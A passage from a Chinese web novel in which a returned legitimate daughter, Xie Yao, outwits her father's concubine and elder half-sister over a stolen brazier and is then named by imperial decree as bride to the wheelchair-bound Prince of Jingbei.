他正要将余炭倾倒,谢窈便骤然出现在他身后,抄起一根干枯木棍,一记闷棍! “捉贼啊!有贼!” 谢窈一边喊,一边又给对方几下。 “啊!别打别打,我不是贼,好疼——” 小厮开始收了声,但他挨打的地方实在是疼,他发出第一声惨叫之后,就再也收不住了。 “饶命,饶命啊二小姐……嘶!我的腿……” 谢窈喊着“捉贼”,面无表情地痛揍对方。 趁着月黑风高,她抓紧木棍,哪疼揍哪,并且根本不让对方说话。 直到“咔嚓”一声,拇指粗的木棍被生生打断了,她又上前踹了几脚。 几名惊醒的巡夜护院提着灯笼跑过来,就看见二小姐正在狂揍地上的贼,只是,这贼越看越眼熟。 “我不是贼,我是同福啊!” 同福终于找到谢窈活动脚腕的间隙,努力露出已经被揍成猪头的脑袋,歇斯底里地喊。 一名下人认了出来,道:“是晚香院的同福吗?” 同福哭着点头:“是我,是我!” 谢窈丢掉断成两截的棍子,睨视着脚下的小厮,漆眸冷厉,像看什么脏东西。 她拿出手帕,一点点擦拭自己修长的手指:“原来,还是家贼。” 另一名下人问道:“同福,今晚你值夜吗?就算你值夜,也应该在晚香院,怎么会出现在后花园?” 谢窈似笑非笑地反问:“晚香院的小厮半夜三更偷走我在祠堂的炭盆,难道,是听了姨娘的吩咐?” “小的不敢……咳咳……” 谢窈脸色的笑容忽然消失,声音悲伤起来:“误伤了父亲,被父亲罚跪祠堂,我认,没想到姨娘如此不欢迎我回府,这寒冬腊月,连个炭盆都不让我用,姨娘是要逼死我吗?” 下人们互相对视一番,忽然明白了什么。 都说文昌伯府谢家,主母庸懦无能,体弱多病,家中后宅常年由妾室孙氏打理。 而孙氏贤良淑德,侍奉婆母,妯娌和睦,深得伯爷之心,也让伯府的下人们对她唯命是从,更是在京中素有美名。 白天里伯爷发怒,要让二小姐罚跪祠堂三天三夜,孙姨娘还下跪求情,让下人们都感叹她贤良。 没想到晚上,孙姨娘就指示人去偷二小姐的炭盆。 虽说现在不是二小姐口中的“寒冬腊月”,但入秋后没有炭盆,在祠堂冻一晚上也够受的。 暖色的灯火照在铜盆里还未熄灭的余炭上,同福伏在地上,浑身冷汗津津,瞳孔颤动,却不敢承认自己是受人指使。 如果他承认,那才是真的完了。 “误会,真是误会啊!”孙姨娘人未到,声先至。 她身后跟着好几名丫鬟嬷嬷,追着给她披上狐皮大氅,甚至赶不上她急切的步伐。 孙姨娘张望着周围,看见一圈神色各异的下人,谢窈,还有地上被打得鼻青脸肿的同福,心中咬牙切齿。 自己多年的好名声,差点要被这丫头一朝尽毁! 她和善地问:“同福,我让你给二小姐换个炭盆,你是被二小姐打傻了不是,忘了我交代的事?” 同福如蒙大赦地仰着脖子,猛地点头,叩首道:“是小的蠢笨,没办好您交代的事,对……对!二小姐,是孙姨娘让小的为您换炭,换好炭!” 孙姨娘语调愈发温柔,关心地说:“夜里寒凉,妾身担心二小姐受冷,怕普通的乌木炭温度不够,所以吩咐同福给二小姐换个炭盆,再换上宫里都用的银霜炭。” “哦?” 直到此刻,谢窈才认真看眼前的女人。 和她那位心比天高的大姐姐不同,孙姨娘是个很聪明的女人,也是个爱护自己女儿的母亲。 前世她在自己刚回京后暗中使绊子,是为了探她底细,后来,担心她不嫁箫熠之谢枝就要嫁,孙姨娘面上更是待她极好。 但是…… 她的母亲常年体弱多病,在孙姨娘被抬平妻后彻底成了虚位傀儡,陆慎言说他每月给母亲送信诅咒,还有后来谢宴在伯府被边缘化,其中,不可能没有孙姨娘的手笔。 “二小姐若是不信,去我屋里一观便知,已经备好银霜炭了。”孙姨娘还柔声说。 “原来是这样啊,那既然是换炭盆,他为何行为鬼祟,还把炭偷偷倒在这里?” 同福紧张地看孙姨娘,却发现孙姨娘并没有给他任何眼神。 没有眼神,也是一种眼神。 同福狠下心来,主动承认:“是小的糊涂,小的见钱眼开,一时鬼迷心窍,想这盆乌木炭也是极好的,打算藏些拿出去变卖。” “你这狗东西,差点害得二小姐误会我。”孙姨娘大怒。 “把同福带下去,痛打五十棍,等天亮了逐出伯府发卖,伯府没有这样吃里扒外的小贼!” 孙姨娘朝旁边的刘嬷嬷使了个眼色,顿时,两名家丁架起同福,把他拖了下去。 同福呆住,五十棍,这是要他的命啊! 他不顾浑身疼痛,痛哭流涕地求饶:“姨娘饶了小的吧……小的在晚香院伺候多年,还有卧病在床的母亲,小的不敢了,再也不敢了!” 孙姨娘始终不语。 同福终于明白,自己成了个弃子。 他猛地转向谢窈,朝谢窈磕头:“二小姐救救小的,小的没有偷炭,是大——” 刘嬷嬷立即上前:“还不堵上他的嘴,惊扰了老夫人和伯爷安寝,要你们好看!” 孙姨娘恭敬地陪着笑脸:“二小姐,这样处理小贼,你可满意?” 谢窈望着还在不停挣扎的同福,黑眸染着灯火,剔透似清亮的琉璃:“我哪有什么满意不满意的,后宅之事如何处置,都是姨娘说的算。” 同福绝望地停下动作,认命了。 没等孙姨娘的表情缓和,她弯了弯眸子,话锋一转:“不过,只是拿了盆炭火,已经被我误打一顿,姨娘再动怒,需知得饶人处且饶人啊。” 第12章 掌掴嬷嬷,用你炭盆喂鸡 孙姨娘听到这话,看着鼻青脸肿半死不活的同福,强忍嘴角的抽搐,袖中的手紧握成了拳。 刚才是谁趁着天黑,把同福打得半死啊! 这个丫头行事如此狠辣,折腾了半夜,还倒打一耙,在她面前装好人,要她得饶人处且饶人? 整个文昌伯府都知道,同福是她晚香院的小厮。 晚香院的人做错了事,今晚当着这些嘴上没把门的下人的面,她若不严惩,不说落得个糊涂名声,明日,她就真成了嫡女回家第二天就要迫害对方,阴险善妒的妾室姨娘了! 怪只怪女儿行事稚嫩,想要谢窈好看,收买个外院丫头就行,居然派出了自己院的人。 四周的下人都在,再纠缠下去怕是要惊来伯爷和老太太,孙姨娘只能说:“既然二小姐求情了,那就打上二十棍罢了,但这样的人,我是容不得,还是发卖为好。” 同福流着泪,向谢窈磕头叩谢。 虽然被二小姐揍了一顿,但那是他活该,他知道,自己这条命,是二小姐保下来的。 被带走前,他看向孙姨娘的眼中藏着恨意,被谢窈纳入眼底。 之前认出同福的下人道:“多谢二小姐求情,二小姐真是心善之人,我替同福谢您。” 谢窈颔首,很温和地吩咐:“不必客气,来,你帮我将炭盆送回祠堂吧。” 这盆炭火可是母亲给她准备的,她可不会丢在后花园。 下人抱起炭盆,恭敬地侯在她身侧。 孙姨娘见下人们瞧自己的眼神有惧意,又见同福居然对谢窈谢恩,气得怒火中烧。 她多年来在伯府悉心经营,谢窈倒好,一句求情就收买了人心。 孙姨娘只能自我安慰,谢窈人心再盛,也是个终究要嫁出去的丫头。 眼看谢窈终于被打发走了,她还未来得及松一口气,前者忽然走到她面前。 谢窈笑得眉眼弯弯,提醒道:“那我就在祠堂,等着姨娘给我送银霜炭了。” 孙姨娘差点一口血喷出来,僵硬地点头。 等谢窈彻底离开,她叫刘嬷嬷:“你去叮嘱枝枝,叫她以后不要再轻举妄动,再去取一盆银霜炭来。” 刘嬷嬷:“奴婢省的,但是……您房里的银霜炭不多,一些得留着过年时用,大小姐房里倒是有许多,上个月老夫人还赏了些。” “那就从枝枝那里取,明日一早,我亲自送去祠堂。” 刘嬷嬷应下。 回到祠堂,谢窈则交代忍冬,给被打了棍子的同福送些伤药,再留心一下他的去向。 即便她能在府中来去自如,但母亲不能,日后她嫁去王府,母亲更不能身边没人。 而且,有些事,她还需要人去查,去办。 帮着抱炭盆的那名下人正要走,谢窈叫住了他。 “你和同福是什么关系?” 下人诚惶诚恐地跪下:“小的是几年前和同福一起被买来伯府的,平时与他并无往来。” 谢窈笑了笑:“不用怕,我只是想问问,同福说自己有个卧病在床的母亲,是真的吗?他母亲住在何处?” 下人连忙将自己知道的,一五一十说了出来。 谢枝这时还没睡,她在等同福回来复命。 外面这么冷,一想到谢窈会在祠堂跪上整晚,她就忍不住红唇上扬。 只是,她没有等来同福,反而等到了刘嬷嬷。 “是我派去偷谢窈炭盆的怎么了,我就是想让她吃吃苦头!谁想到那蠢货连这点小事都办不好,真是没用。” 谢枝听完事情原委,恼怒地发起脾气。 白日里,她是外人眼里乖巧懂事的伯府大小姐,京中才女,但是在她母亲面前,她无需压抑自己的性子。 刘嬷嬷小心翼翼地劝:“大小姐糊涂啊,同福是咱们晚香院的人,被那二小姐人赃并获,姨娘只能严惩,姨娘还说……” 谢枝听出她话里有话,气得浑身发抖:“还说什么?” “说要您屋里那些银霜炭,明天送给二小姐。” “银霜炭珍贵无比,那是我的炭,母亲怎能给谢窈?” “情急之下,姨娘只能如此。” “欺人太甚!” 过了一会儿,房间里响起“噼里啪啦”摔砸的声音。 谢枝砸了半宿的东西,累得精疲力尽了,才堪堪睡下。 大清早,孙姨娘来到谢枝这里,刘嬷嬷道:“大小姐这次是真气着了。” 孙姨娘走进里屋,踩着地上撕烂的书画,给谢枝掖了掖锦被。 “我何尝不气,枝枝喜好风雅,银霜炭无烟,炭若银霜,她最爱用了,如今却要给那个丫头……”她语气暗恨,卸去了笑脸面具。 刘嬷嬷是跟着她从娘家陪嫁来的嬷嬷,还和伯府的王管事相好,是她身边放心的自己人。 “是啊,咱们大小姐哪受过这样的委屈。” “都怪为娘是伯爷的妾室,害得你也只能当庶女,不过……枝枝就再忍忍,等以后就好了。” 孙姨娘喃喃了两句,又道:“去,用那只錾花银炭盆,装满银霜炭。” 刘嬷嬷:“姨娘,那錾花的银质炭盆十分贵重,而且是您最喜欢的,怎么要送给二小姐啊,要是给了她,她岂不是更得意了!” 孙姨娘:“登高才会跌重,我就是要她得意,最好忘乎所以,她想毁了我多年的好名声,成全她和她母亲,但是我要她知道,我孙馨兰,才是谢家后宅主母。” 片刻后,孙姨娘带人来到祠堂。 表面恭顺,实则摆出施舍的姿态。 连她身边的下人嬷嬷,看谢窈的眼神都充满不屑。 刘嬷嬷拿腔作调:“二小姐,这是我家主子送你的炭盆,你收好了吧。” 一个要被伯爷嫁给残疾王爷的弃女罢了。 谢窈昨晚一夜好眠,清晨练完了刀法,活力满满。 孙姨娘来的时候,她刚吃完桑若送来的早膳。 桑若手疾眼快,迅速将碗筷收进食盒,恭谨地立在旁边。 谢窈仿佛没看出刘嬷嬷语气的讽刺,笑眯眯地抚摸冰凉银质,还刻着精致錾花的炭盆。 “姨娘的东西真好,连炭盆都是银的。” 说着,她毫不客气地让忍冬收下:“原来炭盆里的炭燃尽了,忍冬,你把这里面的银霜炭换进去。” 孙姨娘问:“二小姐不用妾身送的?” 谢窈挥手道:“用,当然用,父亲让我养谢宴那只鸡,我正缺一个喂鸡槽,这个尺寸刚刚合适。” 刘嬷嬷怒道:“放肆!这可是姨娘最喜欢的银炭盆,你竟然要拿去喂鸡?成何体统!” 谢窈回头看向桑若:“我在边境长大,不知京中规矩,原来,京城的下人能随意说主子放肆。” 桑若上前,一巴掌甩到了刘嬷嬷脸上,啐了口吐沫:“不知天高地厚的东西!主子讲话,有你插嘴的份吗!” 刘嬷嬷跟着孙姨娘,平日里在伯府作威作福惯了,从来没有被人当众落过脸,更别提是扇了巴掌。 一时之间,她脸上火辣辣的疼,居然忘了反抗。 等刘嬷嬷反应过来,刚想朝桑若扑过去,就被孙姨娘拦住。 孙姨娘盯着桑若,眼神闪烁:“二小姐说得对,是刘嬷嬷失了礼,你这刁奴,还不赶紧给二小姐请罪。” 刘嬷嬷又羞又怒,但还是不敢反驳:“是老奴多嘴,二小姐大人有大量,饶了老奴这遭吧!” 谢窈又道:“我听说姨娘掌家,把伯府打理得井井有条,却没想到姨娘身边的人,昨个偷盗炭火,今日嬷嬷又如此僭越,若是道歉有用的话,以后人人效仿,府里还有规矩体统吗?” 孙姨娘面容僵住:“二小姐想要如何?” 谢窈微笑:“不如何,我就一说,姨娘就一听。” 孙姨娘想到了什么,白了脸。 她虽然是妾室,但家世不凡,又掌着家,不能学寻常妾室那勾栏样式,得维持体面。 何况如今,她有了…… 孙姨娘最看重的就是自己名声,最后,忍着恨扬声:“刘嬷嬷在二小姐面前没规矩,罚她半年的月钱,以儆效尤,日后若要再犯,我定然重罚。” 第13章 庶姐的心思,心比天高 说完,孙姨娘又看向谢窈,眼神似乎在问:这样,二小姐满意了吗? 谢窈勉为其难地点头,然后指着錾花炭盆,又说:“诶,我忽然觉得这炭盆用来喂鸡可惜了,还是当痰盂比较好,讲究。” 孙姨娘脸色再也压不住的阴沉,却没有再说什么。 刘嬷嬷脸上顶着一个红彤彤的巴掌印,跟在她身后离开。 桑若扇了刘嬷嬷一巴掌,既没有向谢窈邀功讨赏,也没多解释,挎着食盒行礼后也走了。 忍冬还在震惊:“这小丫鬟看起来文文静静的,居然这么厉害。” “桑若可是母亲身边的丫鬟,自然厉害,”谢窈语气莫名有几分骄傲,“你也学着点。” 忍冬咽了咽口水,两眼发光:“奴婢努力学。” 孙姨娘走出祠堂,刘嬷嬷立即捂着脸哭嚎起来。 “奴婢不想活了,活不下去了,受到这样的羞辱,这让奴婢以后如何在伯府立足,求姨娘为奴婢做主啊!” “是那丫头不敬在先,你为我说话,她居然敢拿乔摆谱,还抓着不放,这何止是罚你,分明是在打我的脸!” 孙姨娘说着,直奔谢明安的书斋。 刘嬷嬷又连忙拦道:“是老奴嘴快,姨娘千万不要冲动行事。” “老奴受些委屈没什么,但姨娘多年来府里谨小慎微,可不能为老奴折了您在伯爷面前的贤名。” 孙姨娘眼中精光闪烁:“你难道没发现,掌掴你的丫鬟,是许素素身边的人?她是给谢窈送饭的,伯爷可是说了,二小姐罚跪三日,不能进食。” 刘嬷嬷反应过来:“姨娘是说,许氏违背了伯爷的命令,让丫鬟偷偷给谢窈送饭?” “若只是送炭火也没什么,偏偏伯爷这次受伤颇为严重,如今还在气头上,说了不让谢窈吃饭,许氏,这是明知故犯!” 孙姨娘脑海中晃过许素素那张寡淡苍白的脸,轻轻地摸了摸自己的小腹,眼神发冷。 想当年,文昌伯府虽然有爵位傍身,但老伯爷庸庸碌碌,一辈子也只是个六品言官。 而她孙馨兰的父亲,是五品尚药令。 她虽为庶女,却也是京中贵女。 是她慧眼识珠,看上了当时还未袭爵的谢明安,陪着谢明安中状元,却因为庶出的身份,被老伯爷瞧不上,只能做个妾室。 没想到许素素这个女人,当初还未与伯爷成亲就与伯爷私相授受,瓜熟蒂落之后,又仗着自己家中有几分钱财,逼迫伯爷娶她为正妻! 还好,许素素生谢窈时落下病,这么多年一直身体不好,伯府后宅都是她孙馨兰说的算。 如今…… 谢窈回来了,即便她是为了给枝枝挡灾才回来的,但只要许素素在一天,她就永远是个妾室,谢窈是伯府嫡女,她的女儿就是庶出。 她得狠下心,为自己和自己的孩子做些什么。 孙姨娘气势汹汹地来到谢明安的书斋,两名小厮见到她,就像见到伯府主母,行礼后并未多言。 还没进去,里面传来交谈声,让她停下了脚步。 “你说真的,陛下真派出了庆公公来伯府宣旨,为我家姑娘和靖北王赐婚?还是之前口谕一样,没说到底是赐婚大小姐,还是二小姐?” 谢伯爷焦急地问。 “小的只是个传话的,不清楚原委,只知陛下十分看重王爷的婚事,庆公公此刻应该已经出宫门了,还望伯爷早做准备。” “好,本伯知晓了,多谢……” 孙姨娘还没听完,就把告状一事抛到了九霄云外,火速赶到谢枝屋子。 屋内,谢枝正在提笔作画。 她是京中出名的才女闺秀,最擅丹青写意,多年来在姨娘的经营下,名声也是极好。 若非如此,之前陛下口谕,也不会让文昌伯之女嫁给靖北王。 此刻她画的,是一幅芍药锦鸡图,那锦鸡在画纸上五彩斑斓,灿烂似鸾凤。 孙姨娘闯入,谢枝不悦地停了笔。 “快去,马上去祠堂,亲自给谢窈送些吃食!”孙姨娘压低声音道。 谢枝停下画笔:“姨娘,你自己怕谢窈的嫡女身份,送炭赔笑,别拉着我行不行,我可没闲工夫去讨好一个马上嫁给废人的妹妹。” 孙姨娘激动地说:“宫里来人了,就要宣旨赐婚!” 谢枝仍旧不为所动:“父亲不是说了嘛,陛下未说咱家到底让谁嫁给靖北王,要嫁,也是谢窈嫁,与我有何干系。” “枝枝,知女莫若母,你就要桃李年华,执意说自己没有心仪之人,不愿出嫁,又有满京城的好名声,我还不知道你的心思?” 谢枝的脸泛起红晕,露出几分羞赧:“姨娘别取笑女儿了,我,我能有什么心思。” “残废咱们当然不嫁,但这次来宣旨的,是庆公公!”孙姨娘语出惊人。 谢枝手腕一抖,一滴朱红颜料滴在画纸的锦鸡身上,蜿蜒着流动,破坏了锦鸡绚烂的翅膀。 “是榆哥之前说的,陛下身边的掌事太监庆公公?”她问道。 “还有哪个?当然是他,陛下最看重的内侍,庆才!” “快,快给我梳洗打扮!” 她明白了孙姨娘的意思,急切地起身,翻找自己最贵重漂亮的那几件首饰。 听说谢窈前两天回府时,长公主派了个寻常小太监给她撑腰,都让父亲等人不敢得罪,如今来宣旨的,可是御前太监! 只要她得到庆公公青睐入宫,以后就是陛下的女人,谢窈拿什么跟她比! “快着些,庆公公已经出宫了,对,穿这件藕粉色的。” “自从陛下登基后,后位空悬,又一直未曾选秀,太后都急了,说是今年一定会为陛下选新人进宫的。” “咱们这位陛下喜欢柔和的女子,宫里仅有的几位娘娘都柔顺和善,你可得在庆公公面前好好表现,一定要对谢窈恭敬,越温柔越好。” 谢枝忙着梳妆,孙姨娘不停在她耳边念叨。 过了一会儿,谢枝提着孙姨娘准备好的食盒,出现在祠堂门口。 孙姨娘则急匆匆地跑到伯府门口,第一时间守着迎接宣旨队伍,争取给庆公公留个好印象。 “见过二妹妹,二妹妹还没用饭吧,这些点心是厨房刚做的,还有一桌饭食也已经备好!” 谢枝说着,热情地打开食盒。 谢窈知道孙姨娘见到桑若,猜出了母亲给她送饭,一定会去向谢明安告状。 她刚喝完忍冬给她煎好的汤药,正掂着手中刀,等谢明安来兴师问罪,兴致满满。 没想到,等来的居然是谢枝。 谢枝又道:“我刚才得知,父亲已经让二妹妹回去休息了,走,我们姐妹俩一起去用餐。” 其实谢明安没有让谢窈回去,但她敢这么说,是知道自己父亲最好名声,不会在宣旨太监面前责罚自家人。 她提前叫走谢窈,事后,父亲说不定还会夸她聪慧细心。 谢窈看着谢枝明显精心打扮的容貌,明白过来。 赐婚圣旨,要到了。 第14章 谁上前,我宰了谁 这道圣旨,来得比原本要早上一日。 前世,圣旨只是赐婚,未提及赐婚的是谢家大女儿还是二女儿,谢家刚要接旨,箫熠之就来了。 谢窈见谢枝悉心打扮,以为大姐姐倾心靖北王。 而她与靖北王素不相识,又听说靖北王的种种暴虐传言,再加上前一天陆慎言前来找她。 她当众拒婚,说自己已经有了心仪之人。 箫熠之并未强求,次日他进宫,在皇上面前抗旨,最终赐婚的事就不了了之。 直到几个月后,皇上选了谢枝入宫。 她才明白,谢枝那日打扮,不是想嫁给靖北王,而是想入宣旨太监的眼,成为皇帝的妃嫔。 谢窈弯起眸,同样热情地挽起她的手臂:“好啊,那大姐姐,我们快去吃饭吧。” 谢枝只是与谢窈虚与委蛇,没想到对方忽然靠近,不自然地笑。 忽然,她嗅了嗅,闻到一股汤药味。 大抵是父亲受伤,大夫开了好几副汤药,沾染在她身上的。 离开祠堂之前,谢窈回头望去,握刀的手紧了几分。 那一排排谢家先祖牌位,她还真有些不舍呢。 谢明安匆忙赶来前厅的时候,就看见二女儿懒洋洋地倚在首座上,优雅地……啃着煎鱼。 顶着一张风华绝代的脸,却做出这样无半点规矩的行为,顿时让他心生厌烦。 而他的大女儿,毕恭毕敬地立在旁边,正在为妹妹布菜。 谢明安眼前一黑,怒喝:“你怎么在这儿,本伯不是让你在祠堂罚跪吗!” 谢窈仔细地剔着鱼骨,眉毛都不抬。 后厨这香煎黄鱼是刚做好的,就得趁热吃,没有鱼腥味,一口下去香嫩鲜美。 “二妹妹慢点吃,再尝尝这道红焖狮子头,是大师傅的拿手菜。”谢枝满脸笑意,还不忘给谢窈介绍。 她虽然假传了谢伯爷的命令,但并不害怕,还特意朝谢伯爷眨了眨眼。 父亲平时最疼自己,也说了不愿她嫁给靖北王,肯定懂她的想法。 她温软撒娇:“父亲大人,姨娘跟枝枝说您已经原谅了二妹妹,二妹妹饿了许久,枝枝才带她来用饭的。” 谢伯爷哪能不知道谢枝想干什么,但是,孙馨兰那个蠢妇,听墙角只听了一半啊。 他冷冷地说:“我是说让谢窈不用再跪祠堂,但没让她用膳!还有,谢窈,你用膳为何如此做派,哪里像个淑女,还敢支使你姐姐为你布菜,真是没有礼数!” 谢窈放下鱼,接过谢枝递来香喷喷的干净帕子擦了擦手,再随手把帕子丢给谢枝。 这才抬起眼皮,睨视道:“我吃得香,大姐姐也乐意伺候,不行?” 谢枝想到宣旨太监就要来了,接过帕子,柔声附和:“二妹妹说的是,二妹妹乃伯府嫡女,枝枝为她布菜,是心甘情愿的。” 谢明安气的胸口起伏了下,又见她这身衣裙和妆容,明显精心装扮过。 可谢窈生得太美,反倒衬得谢枝像个丫鬟婢女。 “你已经回府三日了,怎么还是这身粗俗打扮?”他恨声责问。 谢窈歪头,一字一顿:“父亲是伤好了,又瞧不起健妇营了?” “你——!”谢明安听到熟悉的话,感觉自己浑身又疼起来。 这时,孙姨娘焦急地跑到谢枝身边。 “姨娘,你不是去门口迎庆公公了吗,难道庆公公来了,要咱们在门口迎接?”谢枝小声问。 孙姨娘急忙解释:“快去换掉这身衣裙,换成越普通越好!我才知道,此次来宣旨的不止有庆公公,靖北王也来了,说是陛下许了他一份殊荣,允许他在你和谢窈之间,亲自选妃!” 谢枝顿时花容失色。 她是想在宣旨太监面前留一个好印象,日后陛下选秀,她能借此拔得头筹,可她绝不想让靖北王注意到自己。 谢枝急得就要去换衣服,临走前,恶狠狠地剜了谢窈一眼。 这个贱人,一身粗布破衣,举止粗俗,还让自己伺候,绝对是故意的! 只要靖北王眼睛不瞎,在自己和谢窈之间,靖北王都会选自己! 她是要入宫为妃的,绝不嫁给一个废人。 见谢枝离开,谢伯爷又一声令下:“来人,带二小姐去梳洗换装,好好打扮!” 两名下人正要靠近,谢窈却弯腰,拿起手边缠着布条的长刀:“少管我。” “怎么,你还反了不成?”谢明安怒道,“给我抓住二小姐,带她下去换身衣服。” 谢窈笑出一口雪白牙齿:“我的刀不长眼,你们想试试?” 想到二小姐前几日在门口踹飞门房的身手,下人们不太敢上前。 谢明安却被气得头昏脑涨:“你们是本伯养着的家丁护院,居然怕一个弱女子?王管事,给本伯抓住她!” 一个其貌不扬,穿着灰袍的中年男人走出来。 谢窈双眸一凛,王管事,就是前世杀了自己的人。 她横刀身前,不再掩饰自己眼底凛然的杀意与戾气,黑眸似寒潭,一字一顿吐出七个字: “谁上前,我宰了谁。” 谢窈从军九年,身上有着战场将士的杀意,平时收敛着,此刻如飓风席卷,吓得谢明安控制不住地后退。 这丫头,杀过人! 果然是养在外面的女儿,性子野了,难以管教。 他的脸色沉了下去。 刚换了身俗旧衣裙,刻意梳歪了发髻的谢枝赶回来。 还没缓过神,就见谢伯爷眼神如刀:“逆女,真是个逆女,竟敢威胁本伯,本伯今日就要让你知道,谢家究竟谁说的算,按她跪下!” “圣旨到——” 传旨声音传来,打断了眼前的僵持。 比庆公公更快的,是两名姿容矫健,容貌俊朗的年轻男子。 两人匆匆上前,将木板铺在伯府一道道门槛上,动作熟练。 这是方便靖北王的轮椅驶入。 京中早有传言,说陛下要为靖北王赐婚,看中了谢家的女儿。 宣旨的队伍乌泱泱一行人,靖北王的马车和随行护卫也声势浩大。 文昌伯府的左邻右舍,街上百姓,都悄悄探出了头。 无数双眼睛望着,最终,全都看向那辆被人缓缓推来的轮椅。 第15章 指名道姓,赐婚宣旨 日光正盛,坐在轮椅上的男人却周身凉意,似皑皑山巅的一抹霜雪,深沉,寒冽,又死气沉沉。 除了谢窈,其他人纷纷低下头。 若是在箫熠之双腿还未残疾时,又或是他还没杀那么多人之前,有人敢大着胆子瞧他,就会发现,靖北王明明有一张绝色的俊容。 清晰锋锐的轮廓,深邃蛊惑的桃花眸,凛然而不失俊美,极淡的薄唇微抿,透着骨子里的冷矜傲气。 除了双腿残疾,以及杀伐过重,箫熠之身上没有任何缺点。 偏偏他身上的杀伐气,落在谢窈眼里,又为他添了几分绰约风姿。 谢窈望着箫熠之,目不转睛。 一位身穿一品太监服的公公气喘吁吁地跑过来:“诶呀,王爷怎么这么快,奴才都追不上了。” 公公面白无须,容貌端正,正是御前太监庆才。 同样赶来的,还有被桑若搀扶的许氏。 谢窈远远地看见母亲,立即抛下了箫熠之。 她瞧得出母亲步伐很急,脸更是苍白,嘴唇颤动,似乎想对她说什么,但最终只是冷着一张脸。 庆公公眼神精炼,观察着谢家一家子,目光在谢枝与谢窈身上停了会儿。 那土黄绣花襦裙的,虽说相貌秀丽,但怎么看着怯懦懦的呢。 穿短褐布衣的,生得倒是惊人貌美,但怎么扛着一把刀啊。 不过,他看遍六宫佳丽,也没见过穿的这么破还如此姿容出众的,不由多看了谢窈几眼。 “你们这是在做什么呢?”庆公公问。 谢明安僵硬地压下怒气:“回公公,无事。” “没事?那你愣着干嘛,还不向王爷介绍介绍你这两位女儿。”庆公公翻了个白眼。 谢明安定了定神,赔笑:“这是大女儿谢枝,年十八,区区庶女,配不上王爷的身份。” “呦,正值妙龄啊。”庆公公啧了声。 孙姨娘吓得把谢枝挡在身后,谢明安也不敢多说,指向谢窈。 “这是二女儿谢窈,年十七,是下官嫡女,温婉、贤淑……咳咳,虽然有些不知礼数,但与王爷甚是相配,至于那些小缺点,日后下官定然会好好管教。” 他硬着头皮,列举谢窈的优点。 庆公公想起京中的流言,笑了笑:“谢二小姐是健妇营的军士,有些脾气是应该的。” 箫熠之忽然开口:“文昌伯这意思是,非要有些缺点,才能与本王相配?” 他明明坐在轮椅上,比旁人都要低,却透着令人生畏的压迫感。 谢明安心里“咯噔”一声。 “下官不敢!” “本王确实身有缺陷,你意有所指,是瞧不起本王?” “下官没有这个意思,下官只是想管教好女儿。” 谢明安已经浑身冷汗津津,颤声解释。 箫熠之眼眸微凝,看向谢窈。 她像稚鸟望着雌鸟,望着自己的母亲,与几日前门口的眼神不同,但一样亮晶晶的。 一股极淡的药味被他嗅到,谢窈注意到他的视线,对他露出笑容。 谢窈知道箫熠之喜欢温柔贤淑的女子,但事已至此,她只能将错就错。 然后,谢窈就看见箫熠之轻轻地,快速地,朝她眨了下桃花眼,说: “那你是什么意思,本王的人,是你配管教的?” 谢窈怔住了。 本王的人? 箫熠之这意思是说,他看上的王妃,是自己? 她想了想,明白过来。 看来,箫熠之也猜出了皇上的心思,打算顺水推舟。 众人不敢言语,直到谢明安道:“王爷,王爷是说……” 庆公公忽然拿出圣旨:“王爷不愧是王爷,可真是和陛下想到一起了,文昌伯府的人呢,还不跪下接旨。” “奉天承运皇帝诏曰:靖北王箫熠之,秉旄仗钺,忠勇卫国;文昌伯嫡女谢窈,兰心蕙质,名动京华。朕念二人天作之合,赐为夫妇,择吉日下月十八完婚。钦此。” 庆公公观察眼前这几个人的神色,笑着将圣旨呈给谢窈:“谢二小姐,接旨吧。” 谢窈麻利地接旨谢恩,余光瞥向伯府门口,唇角上扬。 这就是她回京后声名狼藉,嚣张跋扈的结果! 谢明安不过是清贵的四品礼部侍郎,谢家二房更只是七品主事的小官,谢家除了有个伯爵之位傍身,在朝中没有太多实权。 既然选谢家赐婚,就代表皇帝忌惮着箫熠之,怕他与勋贵世家联姻,势力进一步壮大。 那么,谢窈表现得越差,性格越坏,皇帝就会越满意。 如她所料,这一世赐婚圣旨不但提前了一日,还指名道姓地宣旨了! 一直担心圣旨选谢枝的孙姨娘等人,也肉眼可见地松了口气。 箫熠之眼底深沉,看不出什么情绪。 “陛下还有一道口谕,”庆公公想起皇上的吩咐,连忙又道,“陛下说,距婚期还有些时日,允许王爷这期间多来谢家,与谢家女交流感情。” 他并没有指明“谢窈”,而是说“谢家女”。 这位谢二小姐刚一回京就惹出许多非议,皇上也怕若王爷太委屈了,所以给了王爷一个反悔的机会。 只要是谢家女,圣旨不是不能更改。 “知道了。”箫熠之惜字如金。 谢窈问道:“敢问公公,臣女也可以去王府,与王爷交流感情吗?” 箫熠之搭在轮椅上的一只手,食指忽然蜷了蜷。 “当然可以,”庆公公点头,“只要王爷和未来王妃和和美美,陛下就心安了。” 庆公公奉承了几句,正说着,桑若手捧一茶盘盖红布的银两上前。 谢窈明白,这是母亲替她给宣旨太监的赏钱。 谢明安眼神深了深,立即开口:“有劳庆公公亲来宣旨,一路辛苦,下官备些薄礼,还望公公不要嫌弃,沾沾喜气。” 谢窈看向站在后面一言不发的母亲,皱起眉。 凭什么母亲送出的赏钱,却卖了谢明安人情? 她站至谢明安身前,一脸好奇:“父亲大人一年的俸禄和爵禄微薄,您是贪墨了多少民脂民膏,才能赏给庆公公这么多?” 顿时,周围陷入寂静。 一阵清风拂来,吹起茶盘上的红布,露出一枚枚沉甸甸的金锞子,在阳光下闪闪发光。 饶是庆公公是御前太监,乍然遇见拿一盘金子打赏传旨太监的情况,也不禁咂舌。 看来文昌伯府,有猫腻啊。 回头,他倒是可以前来查查。 伯府门外那些好事张望的百姓和宣旨的一行人,都睁大了眼睛。 都说文昌伯是清流文官,竟能打赏太监这么多? 难道,文昌伯表面廉洁,其实是个举世无双的贪官? 谢明安脸色涨红,胸口激烈起伏了两下。 “公公莫要听信小女胡言,下官为官多年,不敢贪墨百姓分毫,至于这赏钱……” 他解释:“公公有所不知,下官的妻子许氏出自商贾之家,这钱,自然是许氏出的。” “许氏啊?原来如此。” 庆公公乐了,看谢窈的眼神多了几分深意。 谢家嫡女真是个妙人,坑起爹来毫不犹豫。 他美滋滋地收下赏钱,特意谢了许氏和谢窈,又跟王爷道了喜,这才离开。 谢明安朝靖北王赔笑:“王爷,以后您与下官就是一家人了。” 箫熠之轻抬眼皮,眼神阴郁:“还未成亲,本王与你毫无干系。” 谢明安的脸一白。 箫熠之却阖上眼睛,闭目养神。 之前给他铺路的两名侍卫将门槛上几张木板收起来,其中一人为他推轮椅。 